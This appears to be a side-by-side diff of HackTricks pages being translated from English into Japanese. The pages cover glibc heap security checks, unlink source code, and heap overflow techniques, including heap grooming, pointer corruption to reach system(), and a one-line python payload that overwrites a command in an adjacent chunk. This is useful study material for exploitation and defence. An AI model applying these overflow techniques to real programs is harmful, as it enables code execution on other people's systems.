if (SINGLE_THREAD_P) if (SINGLE_THREAD_P)
have_lock = true; have_lock = true;
if (!have_lock) if (!have_lock)
__libc_lock_lock (av->mutex); __libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size); _int_free_merge_chunk (av, p, size);
if (!have_lock) if (!have_lock)
__libc_lock_unlock (av->mutex); __libc_lock_unlock (av->mutex);
} }
/* /*
If the chunk was allocated via mmap, release via munmap(). If the chunk was allocated via mmap, release via munmap().
*/ */
else { else {
munmap_chunk (p); munmap_chunk (p);
} }
} }
``` ```
</details> </details>
## \_int_free_merge_chunk ## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. この関数は、サイズバイトのチャンクPを隣接するチャンクとマージしようとします。結果として得られたチャンクを未ソートビンリストに置きます。
Some checks are performed: いくつかのチェックが行われます:
- If the chunk is the top chunk: `double free or corruption (top)` - チャンクがトップチャンクの場合: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` - 次のチャンクがアリーナの境界の外にある場合: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` - チャンクが使用中としてマークされていない場合(次のチャンクの`prev_inuse`で): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` - 次のチャンクのサイズが小さすぎるか大きすぎる場合: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` - 前のチャンクが使用中でない場合、統合を試みます。しかし、prev_sizeが前のチャンクに示されたサイズと異なる場合: `corrupted size vs. prev_size while consolidating`
<details> <details>
<summary>_int_free_merge_chunk code</summary> <summary>_int_free_merge_chunk code</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the /* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */ bin list yet, and it can be in use. */
static void static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{ {
mchunkptr nextchunk = chunk_at_offset(p, size); mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the /* Lightweight tests: check whether the block is already the
top block. */ top block. */
if (__glibc_unlikely (p == av->top)) if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)"); malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */ /* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av) if (__builtin_expect (contiguous (av)
&& (char *) nextchunk && (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0)) >= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)"); malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */ /* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk))) if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)"); malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk); INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0)) || __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)"); malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */ /* Consolidate backward. */
if (!prev_inuse(p)) if (!prev_inuse(p))
{ {
INTERNAL_SIZE_T prevsize = prev_size (p); INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize; size += prevsize;
p = chunk_at_offset(p, -((long) prevsize)); p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize)) if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating"); malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p); unlink_chunk (av, p);
} }
/* Write the chunk header, maybe after merging with the following chunk. */ /* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size); _int_free_maybe_consolidate (av, size);
} }
``` ```
</details> </details>
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,163 +1,163 @@
# Heap Functions Security Checks # ヒープ関数のセキュリティチェック
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## unlink ## unlink
For more info check: 詳細については、以下を確認してください:
{{#ref}} {{#ref}}
unlink.md unlink.md
{{#endref}} {{#endref}}
This is a summary of the performed checks: 実施されたチェックの概要は次のとおりです:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - チャンクの指定サイズが次のチャンクに示された `prev_size` と同じか確認
- Error message: `corrupted size vs. prev_size` - エラーメッセージ: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P` - また、`P->fd->bk == P` および `P->bk->fw == P` も確認
- Error message: `corrupted double-linked list` - エラーメッセージ: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P` および `P->bk_nextsize->fd_nextsize == P` を確認
- Error message: `corrupted double-linked list (not small)` - エラーメッセージ: `corrupted double-linked list (not small)`
## \_int_malloc ## \_int_malloc
For more info check: 詳細については、以下を確認してください:
{{#ref}} {{#ref}}
malloc-and-sysmalloc.md malloc-and-sysmalloc.md
{{#endref}} {{#endref}}
- **Checks during fast bin search:** - **ファストビン検索中のチェック:**
- If the chunk is misaligned: - チャンクがアラインされていない場合:
- Error message: `malloc(): unaligned fastbin chunk detected 2` - エラーメッセージ: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned: - フォワードチャンクがアラインされていない場合:
- Error message: `malloc(): unaligned fastbin chunk detected` - エラーメッセージ: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin: - 返されたチャンクのサイズがファストビンのインデックスのために正しくない場合:
- Error message: `malloc(): memory corruption (fast)` - エラーメッセージ: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned: - tcacheを埋めるために使用されたチャンクがアラインされていない場合:
- Error message: `malloc(): unaligned fastbin chunk detected 3` - エラーメッセージ: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:** - **スモールビン検索中のチェック:**
- If `victim->bk->fd != victim`: - `victim->bk->fd != victim` の場合:
- Error message: `malloc(): smallbin double linked list corrupted` - エラーメッセージ: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20; - **各ファストビンチャンクに対して実施される統合中のチェック:**
- If the chunk is unaligned trigger: - チャンクがアラインされていない場合トリガー:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in: - チャンクがインデックスのために異なるサイズを持っている場合:
- Error message: `malloc_consolidate(): invalid chunk size` - エラーメッセージ: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - 前のチャンクが使用中でなく、前のチャンクのサイズが prev_chunk に示されたサイズと異なる場合:
- Error message: `corrupted size vs. prev_size in fastbins` - エラーメッセージ: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**: - **ソートされていないビン検索中のチェック:**
- If the chunk size is weird (too small or too big):&#x20; - チャンクサイズが異常(小さすぎるまたは大きすぎる)場合:
- Error message: `malloc(): invalid size (unsorted)` - エラーメッセージ: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big): - 次のチャンクサイズが異常(小さすぎるまたは大きすぎる)場合:
- Error message: `malloc(): invalid next size (unsorted)` - エラーメッセージ: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk: - 次のチャンクによって示された前のサイズがチャンクのサイズと異なる場合:
- Error message: `malloc(): mismatching next->prev_size (unsorted)` - エラーメッセージ: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - `victim->bck->fd == victim` または `victim->fd == av (arena)` でない場合:
- Error message: `malloc(): unsorted double linked list corrupted` - エラーメッセージ: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct. - 常に最後のものをチェックしているため、その fd は常に arena 構造体を指している必要があります。
- If the next chunk isn't indicating that the previous is in use: - 次のチャンクが前のチャンクが使用中であることを示していない場合:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)` - エラーメッセージ: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`: - `fwd->bk_nextsize->fd_nextsize != fwd` の場合:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)` - エラーメッセージ: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`: - `fwd->bk->fd != fwd` の場合:
- Error message: `malloc(): largebin double linked list corrupted (bk)` - エラーメッセージ: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:** - **大きなビン(インデックスによる)検索中のチェック:**
- `bck->fd-> bk != bck`: - `bck->fd-> bk != bck` の場合:
- Error message: `malloc(): corrupted unsorted chunks` - エラーメッセージ: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:** - **大きなビン(次の大きい)検索中のチェック:**
- `bck->fd-> bk != bck`: - `bck->fd-> bk != bck` の場合:
- Error message: `malloc(): corrupted unsorted chunks2` - エラーメッセージ: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:** - **トップチャンク使用中のチェック:**
- `chunksize(av->top) > av->system_mem`: - `chunksize(av->top) > av->system_mem` の場合:
- Error message: `malloc(): corrupted top size` - エラーメッセージ: `malloc(): corrupted top size`
## `tcache_get_n` ## `tcache_get_n`
- **Checks in `tcache_get_n`:** - **`tcache_get_n` のチェック:**
- If chunk is misaligned: - チャンクがアラインされていない場合:
- Error message: `malloc(): unaligned tcache chunk detected` - エラーメッセージ: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown` ## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:** - **`tcache_thread_shutdown` のチェック:**
- If chunk is misaligned: - チャンクがアラインされていない場合:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` - エラーメッセージ: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc` ## `__libc_realloc`
- **Checks in `__libc_realloc`:** - **`__libc_realloc` のチェック:**
- If old pointer is misaligned or the size was incorrect: - 古いポインタがアラインされていないか、サイズが不正な場合:
- Error message: `realloc(): invalid pointer` - エラーメッセージ: `realloc(): invalid pointer`
## `_int_free` ## `_int_free`
For more info check: 詳細については、以下を確認してください:
{{#ref}} {{#ref}}
free.md free.md
{{#endref}} {{#endref}}
- **Checks during the start of `_int_free`:** - **`_int_free` の開始時のチェック:**
- Pointer is aligned: - ポインタがアラインされている:
- Error message: `free(): invalid pointer` - エラーメッセージ: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned: - サイズが `MINSIZE` より大きく、サイズもアラインされている:
- Error message: `free(): invalid size` - エラーメッセージ: `free(): invalid size`
- **Checks in `_int_free` tcache:** - **`_int_free` tcache のチェック:**
- If there are more entries than `mp_.tcache_count`: - `mp_.tcache_count` よりも多くのエントリがある場合:
- Error message: `free(): too many chunks detected in tcache` - エラーメッセージ: `free(): too many chunks detected in tcache`
- If the entry is not aligned: - エントリがアラインされていない場合:
- Error message: `free(): unaligned chunk detected in tcache 2` - エラーメッセージ: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache: - 解放されたチャンクがすでに解放されており、tcache にチャンクとして存在する場合:
- Error message: `free(): double free detected in tcache 2` - エラーメッセージ: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:** - **`_int_free` ファストビンのチェック:**
- If the size of the chunk is invalid (too big or small) trigger: - チャンクのサイズが無効(大きすぎるまたは小さすぎる)場合トリガー:
- Error message: `free(): invalid next size (fast)` - エラーメッセージ: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: - 追加されたチャンクがすでにファストビンのトップであった場合:
- Error message: `double free or corruption (fasttop)` - エラーメッセージ: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: - トップのチャンクのサイズが追加するチャンクのサイズと異なる場合:
- Error message: `invalid fastbin entry (free)` - エラーメッセージ: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`** ## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:** - **`_int_free_merge_chunk` のチェック:**
- If the chunk is the top chunk: - チャンクがトップチャンクの場合:
- Error message: `double free or corruption (top)` - エラーメッセージ: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: - 次のチャンクがアリーナの境界の外にある場合:
- Error message: `double free or corruption (out)` - エラーメッセージ: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk): - チャンクが使用中としてマークされていない場合(次のチャンクの prev_inuse において):
- Error message: `double free or corruption (!prev)` - エラーメッセージ: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: - 次のチャンクが小さすぎるまたは大きすぎる場合:
- Error message: `free(): invalid next size (normal)` - エラーメッセージ: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - 前のチャンクが使用中でない場合、統合を試みます。しかし、`prev_size` が前のチャンクに示されたサイズと異なる場合:
- Error message: `corrupted size vs. prev_size while consolidating` - エラーメッセージ: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`** ## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:** - **`_int_free_create_chunk` のチェック:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - ソートされていないビンにチャンクを追加する際、`unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` を確認:
- Error message: `free(): corrupted unsorted chunks` - エラーメッセージ: `free(): corrupted unsorted chunks`
## `do_check_malloc_state` ## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:** - **`do_check_malloc_state` のチェック:**
- If misaligned fast bin chunk: - アラインされていないファストビンチャンクの場合:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` - エラーメッセージ: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate` ## `malloc_consolidate`
- **Checks in `malloc_consolidate`:** - **`malloc_consolidate` のチェック:**
- If misaligned fast bin chunk: - アラインされていないファストビンチャンクの場合:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size: - 不正なファストビンチャンクサイズの場合:
- Error message: `malloc_consolidate(): invalid chunk size` - エラーメッセージ: `malloc_consolidate(): invalid chunk size`
## `_int_realloc` ## `_int_realloc`
- **Checks in `_int_realloc`:** - **`_int_realloc` のチェック:**
- Size is too big or too small: - サイズが大きすぎるまたは小さすぎる場合:
- Error message: `realloc(): invalid old size` - エラーメッセージ: `realloc(): invalid old size`
- Size of the next chunk is too big or too small: - 次のチャンクのサイズが大きすぎるまたは小さすぎる場合:
- Error message: `realloc(): invalid next size` - エラーメッセージ: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
### Code ### コード
```c ```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void static void
unlink_chunk (mstate av, mchunkptr p) unlink_chunk (mstate av, mchunkptr p)
{ {
if (chunksize (p) != prev_size (next_chunk (p))) if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size"); malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd; mchunkptr fd = p->fd;
mchunkptr bk = p->bk; mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list"); malloc_printerr ("corrupted double-linked list");
fd->bk = bk; fd->bk = bk;
bk->fd = fd; bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{ {
if (p->fd_nextsize->bk_nextsize != p if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p) || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)"); malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list // Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL) if (fd->fd_nextsize == NULL)
{ {
if (p->fd_nextsize == p) if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd; fd->fd_nextsize = fd->bk_nextsize = fd;
else else
// Link the nexsize list in when removing the new chunk // Link the nexsize list in when removing the new chunk
{ {
fd->fd_nextsize = p->fd_nextsize; fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize; fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd; p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd; p->bk_nextsize->fd_nextsize = fd;
} }
} }
else else
{ {
p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize;
} }
} }
} }
``` ```
### グラフィカルな説明
### Graphical Explanation unlinkプロセスの素晴らしいグラフィカルな説明を確認してください
Check this great graphical explanation of the unlink process:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure> <figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks ### セキュリティチェック
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk - チャンクの指定サイズが次のチャンクのprev_sizeと同じであることを確認する
- Check also that `P->fd->bk == P` and `P->bk->fw == P` - また、`P->fd->bk == P`および`P->bk->fw == P`であることを確認する
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - チャンクが小さくない場合、`P->fd_nextsize->bk_nextsize == P`および`P->bk_nextsize->fd_nextsize == P`であることを確認する
### Leaks ### リーク
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: unlinkされたチャンクは割り当てられたアドレスをクリーンアップしないため、アクセスできると、いくつかの興味深いアドレスをリークすることが可能です
Libc Leaks: Libcリーク:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc - Pが二重リンクリストの先頭にある場合、`bk`はlibcの`malloc_state`を指します
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc - Pが二重リンクリストの末尾にある場合、`fd`はlibcの`malloc_state`を指します
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. - 二重リンクリストに1つのフリーなチャンクしか含まれていない場合、Pは二重リンクリストにあり、`fd``bk`の両方が`malloc_state`内のアドレスをリークできます
Heap leaks: ヒープリーク:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap - Pが二重リンクリストの先頭にある場合、`fd`はヒープ内の利用可能なチャンクを指します
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap - Pが二重リンクリストの末尾にある場合、`bk`はヒープ内の利用可能なチャンクを指します
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap - Pが二重リンクリストにある場合、`fd``bk`の両方がヒープ内の利用可能なチャンクを指します
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,48 @@
# Heap Overflow # ヒープオーバーフロー
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。
> [!TIP] > [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). > オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/#finding-stack-overflows-offsets)と同じパターンを使用できます。
### Stack Overflows vs Heap Overflows ### スタックオーバーフローとヒープオーバーフロー
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリ内で増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)**ビンとゾーン**によってサイズで割り当てが分けられ、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されるため**です。ヒープオーバーフローに対して衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの隣に目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). これに使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを保存するためのチャンクが不足した場合、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用されることが説明されていますiOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者の順序と衝突するように強制するために、いくつかの**`kalloc`が複数のスレッドによって強制され、すべての解放されたチャンクが埋められ、新しいページが作成されることを試みます**。
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. 特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object. その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`フリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、エクスプロイトがオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがこのオブジェクトの後に続く可能性が高いことを意味します。
### Example libc ### libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. [**このページ**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html)では、次のチャンクのprev in useビットとprevサイズの位置を上書きすることで、**使用中のチャンクを統合**(未使用だと思わせる)し、**再度割り当てる**ことができる基本的なヒープオーバーフローのエミュレーションを見つけることができます。
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html)の別の例では、**ヒープオーバーフロー**を悪用して勝者関数を呼び出し、**フラグを取得する**非常に基本的なCTFの例が示されています。
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html)の例では、バッファオーバーフローを悪用することで、**近くのチャンクにアドレスを上書きする**ことが可能であり、**ユーザーからの任意のデータ**が書き込まれることがわかります。
### Example ARM64 ### 例 ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトを使用して、実行されるコマンドを上書きすることが可能です:
```bash ```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
``` ```
### その他の例
### Other examples
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow. - 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. - オーバーフローしたチャンクの `struct` 内の関数へのポインタを破損させ、`system` のような関数を設定してコード実行を得ます。
